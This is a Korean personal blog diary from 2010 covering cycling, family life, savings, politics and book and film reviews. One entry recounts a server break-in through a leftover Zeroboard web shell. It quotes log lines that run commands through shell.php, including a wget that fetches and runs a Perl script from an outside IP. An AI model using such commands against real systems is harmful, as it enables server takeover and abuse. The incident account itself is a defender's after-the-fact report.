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해킹

잡기 2010. 4. 2. 17:10
인간은 실재하는 사물과 존재하지 않는 연결을 천성적으로 추구한다. 심지어 실재하지 않는 것들과의 연결도 열광적으로 추구한다. 이를테면 램 상주하는 신과 도깨비는 대뇌의 피치못할 누더기 구조 탓이지 당신의 개성과 신념 탓이 아니다. 그런 거 안 쳐준다.

4월 1일. 5불 생활자 카페에서 온 메일: 5불생활자 세계일주 클럽 자체 추첨 결과 EBS 세계테마기행 후속편으로 기획된 '인류, 세계문화기행'에 ujulman2010과 내가 대표로 추첨되었다. 8개월 동안 4대륙 27개국을 여행하는데, 경비 일체를 제공하고 훗날 책으로 만들어 준단다. 낄낄 웃었다.

http://www.theplastiki.com/
 -- 명분을 만들어 이런 일도 한다. 정말 잘 논다. 부자 되면 나도 해야지.

http://www.hellofromearth.net/ -- 메시지들이 귀엽다. 이왕이면 Unicode로 각국의 언어 그대로 메시지를 보내면 더 좋았을껄.

대만서는 쓰나미 없어 오히려 실망 -- 인도네시아, 아이티, 칠레. 전설적인 ring of fire의 부활. 일본이 지진으로 작살나면 한국 경제가 타격을 입을텐데 그거 모르고 은근히 일본이 망하길 바라는 아이들도 있고(민비가 국모?), 내력이 있다 쳐도 옆 나라도 아닌데 먼 바다 저편의 한국이 싫다며 울부짖는 대만인들도 있고. 

3/25 zeroboard의 버그를 이용한 php script code injection에 의해 서버가 해킹 당했다.  좀비 서버로 사용해 다른 서버를 해킹하기 위한 용도로 사용한 것 같다. 해킹 당하기 전 부터 zeroboard의 버그를 알고 있었는데 (data/shell.php) zeroboard XE로 교체한 후 예전 소스를 안 지웠다.  logwatch를 보고 있었음에도 최근에 바빠서 건성건성 쳐다보다가 당한 셈.  http 로그에는 이렇게 남았다:
GET /bbs//data/shell.php?cmd=uname -a
GET /bbs//data/shell.php?cmd=wget http://194.160.227.34/ize;perl ize 193.231.196.100 80
ize이란 펄 스크립트를 다운받아 실행한 다음 몇 가지 바이너리와 스크립트를 받아오고 crontab에 /bbs/data/.pid/y2kupdate 를 등록한다. 특정 호스트로 대량의 트래픽을 발생시킨다. 호스팅 업체에서 서버의 트래픽이 비정상적임을 mrtg로 감지하고 서버를 차단해 토요일 오전 4시부터 10시 무렵까지 서버에 들어갈 수 없었다. 동일한 방식의 공격으로 많은 호스트가 당한 듯. 토요일에 잠시 포트를 열어 달라고 부탁해 ssh로 작업해서 복구했다. 일요일에 재발. 자세히 살펴보니 트래픽을 발생시키는 std 란 프로세스를 지우지 않았다. 원격 콘솔을 사용할 수 없어 월요일에 분당에 있는 IDC에 가서 복구했다. 피해를 조사해보니 해킹당한 계정은 없었다. 빈정 상했다.

토요일에 산에 가려다고 서버가 그 모양이 되서 원인 파악하고 해결 하느라 오전을 보냈다. 하는 수 없이 자전거를 타고 나갔다. 무수한 MTB를 신나게 추월해서 광교산 입구에 다다라 쉬고 있는데 추월한 아저씨들이 옆길로 올라가는 것이 보였다. 호기심에 그들을 따라 갔다. 광교산 입구에서 통신대까지 도로가 나 있는 것 같다.

한참 업힐 중에 멈췄다. 자전거를 손보지 않은 상태라 기어가 1단으로 내려가지 않는다. 젠장. 올해 처음으로 제대로 자전거를 타는 건데 무리할 이유가 없어 멈췄다. 뒤따라 올라오던 아저씨가(두 번 내게 추월 당한) '이거 일반 자전거죠?' 라고 물었다. 흘낏 그 아저씨 자전거를 보니 내 자전거의 10~20배 정도 되는 값비싼 자전거다. '네 그래서 속도가 안 나요.' 라고 말해 염장 처리 했다.

다운힐에서 55kmh 가 나왔다. 겁이 나서 브레이크를 자주 잡았다. 예전에 타고 다니던 27만원 짜리 유사 MTB보다 고속 주행시 안정감이 눈에 띄게 좋다. 역시 45만원이나 하는 비싼 자전거가 값을 하는구나 생각했다. 시내를 가로질러 가는데 비싸 보이는 사이클을 타고 다니는 한 무리의 사람들을 봤다. 언젠가 나도 저런 크로몰리 프레임을 타게 될까? 글쎄... 내 마음이 저렴해서.

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아내의 요구 조건: 라디오 알람 나오는 디지탈 시계. 그 스펙이면 누구나 얼핏 모양이 아름답고 부드러운 소리가 나는 Tivoli Model 3를 생각하겠지만 난 다르다. 값싸게 대충 만든 중국제 잡표가 전광석화처럼 떠오른다. 이렇게 구입한 라디오 알람 시계에는 신기한 기능이 있다. LED 전구로 천정에 시간을 투사할 수 있다. 라디오 시간 동기(KBS 라디오 전파를 받아 라디오의 시간을 자동으로 맞추는 기능)가 없는 것이 아쉽다. 아이 밥 먹이고 어린이집에 데려다 줘야 해서 아내는 알람을 7시에 맞췄다. 때문에 졸지에 나까지 그 시간에 출근 준비를 했다. 개발자란 모름지기 아침에 푹 자야 창의력과 집중력이 생기는데.

굳이 디지털 시계를 구입해야 하는 까닭: 바늘 시계의 틱틱 소리 때문에 신경이 곤두선다나? 아내만 그런 줄 알았는데 다른 여자들도 그런 것 같다. 그런데 나는 시계 소리 들으면 잠이 잘 온다.

틱... 틱... 틱...
전기양 세 마리.
틱... 틱... 틱...
전기양 다섯 마리.
한 마리는 어디 갔을까?
죽었지.

100여만원에 거래된다는 '무소유'를 판매해 아이가 다니는 어린이집 월납금에 보태려고 했는데, 집에 굴러다니던 그 책이 언제인지 없어졌다. 개똥도 약에 쓰려면 없다더니. 법정의 저작 '무소유'를 어린 시절에 읽었다. 당시에는 내가 심한 무소유 상태라서 읽어도 아무 느낌이 없었다. 무슨 내용이었는지 기억도 안 난다.

몇 개월 전부터 자칭 파이낸셜 플래너(속칭 보험 설계사)가 끈질기게 전화를 걸었다. 가입한 보험상품에 문제가 있으니 만나서 재무 설계를 도와주겠단다. 문제가 뭐냐고 물으니 내용이 길어 만나서 얘기하잔다. 바쁘다고 줄곳 거절했지만, 만나서 얘기듣는데 손해볼 것 없지 않느냐고 참 질기게 설득한다.

사무실 근처 커피숍에서 인사했다. 한 30분은 재무설계 하는 척 하더니 인터넷으로 가입했던 저축보험을 해약하고 변액보험으로 갈아타라고 충고한다. 보아하니 인터넷으로 가입한 사람들을 찾아 돌아다니며 보험 설계랍시고 가입자를 설득해 신규 보험으로 갈아타게 해서 보험 설계사 수당으로 먹고 사는 것 같았다(왠지 내가 부러 시간내서 똥 밟은 기분). 최저 4% 연 복리가 보장되는 저축보험의 장래야 장기 저금리 시대가 도래해 앞날이 무척 암울하지만, 애당초 연 4% 가정하고 가입했기에  바꿀 생각이 없다.

그 날 따라 거래처 전화를 기다리며 딱히 할 일이 없어 한가한 오후였다. 재테크에 관해 피차 이런 저런 쓸데없는 얘기를 주고 받았다. 미래가 얼마나 절망적이며 내가 얼마나 무계획하게 살아가고 있는지 침 튀기는 웅변(거의 절규에 가까운)도 들었다.

이렇게 만난 것도 인연인데, 커피도 얻어 마셨고, 그 양반에게는 내가 주식투자로 푼돈 번 성공담을 얘기해 주고(난 시장에서 저평가되는 싼 주식 중 내가 아는 IT 분야의 유망 중소 종목만 2-3% 수익을 목적으로 쩨쩨하게 주식투자한다.  그랬더니 한달에 5~10만원은 버는 것 같다. 경제도 배우고 실패도 배우고 게다가 생활에 보탬이 된다 당신도 함 해봐라 하이닉스가 블록세일에 성공해서 앞날에 거추장 스러울게 없다. 3만원 보고 몇 개월 잼겨 놓았고 6월쯤에 환매할 예정이다. STS 반도체는 삼성의 SSD를 받아 테스트한다. 꽤 싼 주식인데 내 경우 6천원에 들어갔고 지금 7천원인데 만원 보고 있다. HTS 보고 사냐고? 하루에 2-3번 본다. 단타는 안 한다.).

최근에 배운 재테크 기법을 잘난 체 하며 전수해 주기도 했다. 변호사, 의사 등 고소득 직종군에서 요새 유행하고 있는 '풍차 돌리기'라는 것인데, 환금성과 복리 효과 두 마리 토끼를 잡는 비결이다. 목돈이 있으면 비교적 금리가 높고 세제 혜택이 있는 신협에서 1개월 단위로 최저 예금액으로(보통 100~200만원 수준) 매월 가입해 12개의 통장을 만드는 것이다. 그리고 1년이 지나면 최초 가입한 예금을 해약하고 원금+이자를 받아 다시 예금에 넣는다. 깨기 힘든 적금이나 예금과 달리 목돈이 필요할 때 즉시 환금할 수 있으며 복리 효과도 유지된다.

입만 열면 72의 법칙 운운 하는 그가 복리 계산식을 잘 모르는 것 같아 노키아폰을 꺼내 공학용 계산기로 가르쳐 주었다. S = I * (1 + r) ^ y (S: 총액, I: 초기금액, r: 이율, y: 연수) 이렇게 해서 애써 모은  3천만원의 목돈으로 연복리 5.7%(현재 시중의 저축은행 중 가장 높은 금리)로 10년을 굴려야  S = 3000 * ( 1 + 0.057) ^ 10 = 5222만원이 된다. 어떻게 보면 인덱스 펀드만도 못한 수익율일 수도 있다.

악수 하고 헤어질 때 그 양반이 이렇게 말했다: 유익한 시간이었어요.
그럼 나는!?

봄은 참 늦게 왔고 그 동안 참 차게 지냈다. 난방비 7만원에 아내가 기겁해서 보일러를 꺼 버렸고 아이는 감기를 달고 살았다. 아파트 지역 난방 밸브 조절 무의미 -- 요점 정리: 유량으로 측정하면 난방비가 더 나온다(기지의 사실). 들어오는 물의 온도와, 나가는 물의 온도차로 측정하는 적산 열용량계를 신청해서 달면 난방비를 아낄 수 있다. 참고자료: http://music24.kr/xe/4550 또는, http://www.jay.or.kr/sub_read.html?uid=1394&section=section17 아파트에 설치된 것이 적산 열량계로 추정된다. 고로 교환할 필요가 없을 것 같은데, 관리실에 묻는 걸 번번이 잊어버렸다. '가스 요금 2012부터 열량 단위 부과' -- 이런 기사도 있는데, 음식하기 힘들 정도는 아니겠지?

3/20 제프 벡 내한 공연에 못 가서 기분 더럽다. 블로그에 제프 벡 공연 갔다왔다고 자랑하는 거 보면 부러웠다. 며칠째 그의 디스코그래피를 전부 듣고 있다. 휴대폰 벨소리를 Cause We've Ended As Lovers로 바꿨다. 비디오의 저 여자애는 누구지? 오... 하하. 생각난 김에 연락처를 그룹으로 나누고 벨소리를 각각 다르게 지정했다.   Mellow Candle의 Heaven Heath, Boulders on my Grave,   Latte E Miele, Terzo Quadro , Beatles, Here Comes the Sun , Octopus's Garden, Klaatu, Hope, Yngwie Malmsteen, As Above, So Below, 밤에 사무실에 앉아 연락처를 그루핑하고 벨소리를 편집하다보니 만족스럽기 보다는 밤 늦게까지 뭐 하는 짓인가 싶어 비웃음이 나왔다.

곽영욱, 총선때 한명숙 계좌에 100만원 송금 -- 정말 장한 일 했다. 검찰.

6/2이 지방선거다. 바빠서 후보들의 뒷조사를 할 시간이 없다. 유시민이 경기도 지사 후보로 출마했다. 별 고민없이 그를 찍을 것이다. 정운찬 총리는 세종시 수정안에 관해 '다소 손해를 보더라도 약속을 지켜야 한다'는 자신의 철학이 담긴 자서전을 면전에서 흔드는 한 국회의원에게 당혹스러운 표정을 지었다. 세종시 수정안을 반대하는 박근혜에게는 국민과의 약속을 지킨다는 명분이 있다. 여당이 두 패로 나뉘어 아귀다툼을 벌이고 있는 와중에 청와대 이동관 수석은 '대구, 경북 놈들 문제 많다'고 말했다. 그러고도 안 짤리는 걸 보니 이명박 대통령의 의중을 적시한 것인가 보다. 여당이 좀 더 힘차게 싸우다가 열받은 이명박 대통령이 장중한 결단을 내리길 바란다. 이 나라가 쪼개지건 말건 결단(자뻑)은 물론 국민투표가 바람직했다.

늘 생각이 많은 직장인 x씨는 이렇게 말했다: 아 심심해서 자살하고 싶다.  스타일을 중시하는 베짱이들은 한겨울 추위 속에 식량이 떨어져도 개미 집 앞에서 문을 두드리며 비참한 꼴을 보이는 대신, 눈보라치는 벌판에 드러누워 말없이 피식 웃고 시크하게 죽었다.
 
제임스 모로, 하느님 끌기 -- 설익은 번역. 징글징글하고 별로 즐기고 싶지 않은 농담 따먹기라 웃기지 않았다. 북스피어는 에스프레소 노벨라 발행에 즈음해 '책은 재미가 없으면 말짱 꽝이다'란 발행 철학을 내세웠다.

로저 젤라즈니, 집행인의 귀향 -- 에스프레소 노벨라 첫 권. 왠지 변죽만 울리다 끝난 것만 같다. 이왕 맘 먹었으면 팔 걷어붙이고 도스토예프스키처럼 썼으면 얼마나 좋아? 행맨과의 격투에 관해 번역자와 대체 그런 아크로바트가 어떻게 가능한가 뒷다마를 깠다. 그래도 하인라인이나 실버버그, 아시모프처럼 동시대상이 반영되어 지금 읽기엔 구질구질한 로봇과 인공지능의 실존에 관한 거개 SF작가들의 견해보다 젤라즈니가 상대적으로 세련된 것이다.

울라프 스태플슨, 스타메이커 -- 옛날 SF임에도 최근의 우주론의 대세와 부합되지 않는 몇 가지를 첨삭하고 고루한 문장을 조금 손 보는 정도 외에는 길이 남을 기념비적인 작품이다. 중반 이후론 재미가 없지만. 올 가을 쯤에는 때가 되었으니 과천 과학관에 가서 아이에게 별들을 구경시켜 줄 것이다. 과천 과학관에서 혹시 플라네타리움 전용 필름 같은 걸 상영 하는지 모르겠다.

오랫만에 서울에 갔다. 여자들은 생각보다 별로 안 예뻤고(복식만 그럴 듯) 대개의 사람들이 지하철에서 우측보행을 했다. 생각 외로 금새 자율화되는 것 같아 의아했다.
우측보행이 일반화된다면 보행 편의성은 크게 좋아진다. 한국교통연구원의 가상 시뮬레이션에 따르면 보행속도는1.2~1.7배 증가하고 충돌 횟수7~24%,보행밀도 19~58% 감소 등이 이뤄진다. 보행 편의성이 좋아진다는 의미다. 한국교통연구원의 이종훈 연구원은 현실과 다소 차이는 있을 수 있지만 효율적인 보행방식임은 틀림없다고 설명했다.

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선경 도서관. 4월초 시내 모든 도서관을 연계하는 작업 때문에 며칠 문을 닫는다. 시스템이 바뀌면 대출 연장이 가능했으면 좋겠다. 책 읽을 시간은 나날이 줄어간다.

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맑은 날에는 노키아 휴대폰으로도 사진이 그럭저럭 잘 나왔다. 카메라 패치를 하면 확대해도 덜 깨진다. 아이를 데리고 팔달산에 올라갔다가 성벽길을 하릴없이 걸었다. '아빠 말 안 들으면 같이 안 놀아줄 꺼야' 하면 고분고분해졌다. 아이를 목마 태우고 고갯길을 오르락 내리락 하면 운동이 된다.  

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The Hangover. 엔딩 크레딧을 끝까지 본 흔치 않은 코메디. 엔딩 크레딧에 나오는 사진들을 보지 않으면 영화를 봤다고 할 수가 없을 듯.

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이로써 밀레니엄 3부작을 모두 영화로 봤다. 1편에서 봤던 대로 여전히 귀엽고 똑똑한 아가씨다. 어떤 면에서는 무슨 짓을 하던지 쉽게 그 행동과 정서가 이해가 가는 보기 드문 '여자'여서 더더욱 애착이 가는 것 같다. 시스템이 그녀의 복수를 해줬지만 마무리는 깔끔하게 그녀 몫이었다. 한편으로는 스웨덴이 부러웠다. 한국은 강간 피해자들에게 '왜 저항할 생각을 안 했냐'고 묻는 싸가지 없고 좆같은 시스템이 지배한다. 밀레니엄 시리즈를 계속 보고 싶은데, 유감스럽게도 작가가 죽었다.

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Legend of the Seeker. 정 붙여 보려고 노력 중인 드라마. 스토리/시나리오에 딱히 흠 잡을 것은 없는데 왜 이렇게 극화가 매 화마다 짜증나나 싶더만 별로 이미지가 어울리지 않는 것 같은 배우들, 액션,  연출 때문이다. 하지만 가슴은 훌륭했다.

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전우치. 딱히 걸리적거리는 게 없어 즐겁게 봤다. 남자 주인공이 인상적이라 누군가 했더니... 그 유명한... 음. 여전히 이름은 모르겠다. 저 여자애는 아무나 해도 될 역이지 싶다.





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